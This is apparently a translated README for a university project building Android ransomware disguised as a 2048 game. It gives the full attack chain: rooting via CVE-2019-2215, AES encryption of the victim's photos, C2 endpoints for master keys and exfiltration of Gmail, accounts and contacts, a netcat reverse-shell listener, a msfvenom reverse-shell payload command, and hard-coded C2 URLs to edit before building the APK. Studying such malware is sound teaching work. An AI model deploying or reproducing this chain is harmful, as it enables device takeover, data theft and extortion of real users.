Rootsmart 2.0 con cve-2019-2215 + Ransomware

Descargo de responsabilidad

Este proyecto es únicamente con fines educativos. Este proyecto utiliza código de rkshrksh/2048-Game y kangtastic/cve-2019-2215.

Descripción del proyecto

Este proyecto es parte del módulo de Seguridad Móvil del Singapore Institute of Technology. El proyecto se realizó en un plazo de 6 semanas y el objetivo era desarrollar una aplicación maliciosa para Android. Al hacerlo, nos ayudó a aprender cómo se implementan los mecanismos de seguridad en un sistema operativo Android y cómo podemos ejercitar la práctica OWASP Mobile Top 10:2017 M8 - Code Tampering.

El proyecto es una prueba de concepto para demostrar un ransomware personalizado que utiliza cifrado AES, armando el cve-2019-2215, y también exfiltrando datos del dispositivo infectado.

Ha sido probado en Android 10 y Google Pixel 2 XL.

├── 2048-Game 					// Android Project Folder
├── 2048-keystore				// Test-Keystore
├── cve-2019-2215				// Modified cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// Dropper server directory 
│	├── cve-2019-2215			// shells.zip content before zipping
│	├── dropper_server.py		// Dropper server program
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat windows binary - for Reverse shell listener
│	├── requirements.txt
│	├── shells.zip  			// shells.zip that is hosted in root of dropper server
│	└── venv
└── test_images    				// test_images for easy adb push <image.ext> /sdcard/Pictures

Vector de ataque:

1. Instalar, ejecutar la aplicación y conceder permisos
2. El ransomware cifrará con AES todos los archivos en /sdcard/Pictures
3. Cada archivo se cifrará con una clave generada aleatoriamente
4. Las claves se almacenarán en /sdcard/keys.json donde cada par clave:valor es filepath:key
5. GET HTTP al servidor C2 /get_mk para obtener MasterKey y VictimID en el cuerpo de la respuesta
6. MasterKey cifrará keys.json, VictimID se almacenará en /sdcard/victimID.txt
7. La aplicación descargará shells.zip y descomprimirá el contenido
8. Ejecutar el binario cve-2019-2215 del contenido descomprimido
9. Se generará un proceso de shell root y ejecutará install.sh del contenido descomprimido
10. install.sh ejecutará rs.elf del contenido descomprimido para enviar una conexión inversa al servidor atacante
11. La aplicación exfiltrará el gmail del dispositivo, la información de la cuenta de usuario y los contactos.

Demostración

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4

Configuración del C2 (Comando y Control)

Para esta prueba, asegúrate de que el teléfono víctima y el servidor C2 estén en la misma subred (de lo contrario, aloja el C2 en internet público). Hay 3 endpoints para el servidor C2 que se pueden encontrar en dropper/dropper_server.py:

1. /process_command - GET para descargar shells.zip y ejecutar el exploit root cve-2019-2215
2. /get_mk - GET para obtener el par clave-valor victimID:masterkey y cifrar /sdcard/keys.json
3. /postData - POST de gmail, contactos e información de cuenta exfiltrados

Servidor de Reverse Shell

nc -lvnp 1337 # Ideally this should be the same IP as the dropper server

Servidor Dropper

# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf

# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv

# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator

# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip en /dropper

1. Ir a la carpeta dropper/cve-2019-2215
2. Después de crear rs.elf, comprimir rs.elf + cve-2019-2215, install.sh
3. Renombrar el archivo zip a shells.zip
4. Mover shells.zip a /dropper

Modificar lo siguiente antes de compilar el APK

Clases Java

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45

// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32